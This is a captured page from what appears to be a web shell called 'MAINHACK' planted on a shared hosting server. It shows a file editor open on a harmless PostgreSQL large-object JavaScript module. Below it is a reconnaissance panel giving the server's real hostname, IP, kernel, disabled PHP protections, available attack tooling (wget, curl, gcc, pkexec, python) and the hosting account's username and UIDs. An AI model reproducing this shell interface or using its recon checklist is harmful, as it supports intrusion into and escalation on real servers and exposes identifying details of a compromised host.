[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: large.js
import Stream from 'stream' export default function largeObject(sql, oid, mode = 0x00020000 | 0x00040000) { return new Promise(async(resolve, reject) => { await sql.begin(async sql => { let finish !oid && ([{ oid }] = await sql`select lo_creat(-1) as oid`) const [{ fd }] = await sql`select lo_open(${ oid }, ${ mode }) as fd` const lo = { writable, readable, close : () => sql`select lo_close(${ fd })`.then(finish), tell : () => sql`select lo_tell64(${ fd })`, read : (x) => sql`select loread(${ fd }, ${ x }) as data`, write : (x) => sql`select lowrite(${ fd }, ${ x })`, truncate : (x) => sql`select lo_truncate64(${ fd }, ${ x })`, seek : (x, whence = 0) => sql`select lo_lseek64(${ fd }, ${ x }, ${ whence })`, size : () => sql` select lo_lseek64(${ fd }, location, 0) as position, seek.size from ( select lo_lseek64($1, 0, 2) as size, tell.location from (select lo_tell64($1) as location) tell ) seek ` } resolve(lo) return new Promise(async r => finish = r) async function readable({ highWaterMark = 2048 * 8, start = 0, end = Infinity } = {}) { let max = end - start start && await lo.seek(start) return new Stream.Readable({ highWaterMark, async read(size) { const l = size > max ? size - max : size max -= size const [{ data }] = await lo.read(l) this.push(data) if (data.length < size) this.push(null) } }) } async function writable({ highWaterMark = 2048 * 8, start = 0 } = {}) { start && await lo.seek(start) return new Stream.Writable({ highWaterMark, write(chunk, encoding, callback) { lo.write(chunk).then(() => callback(), callback) } }) } }).catch(reject) }) }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344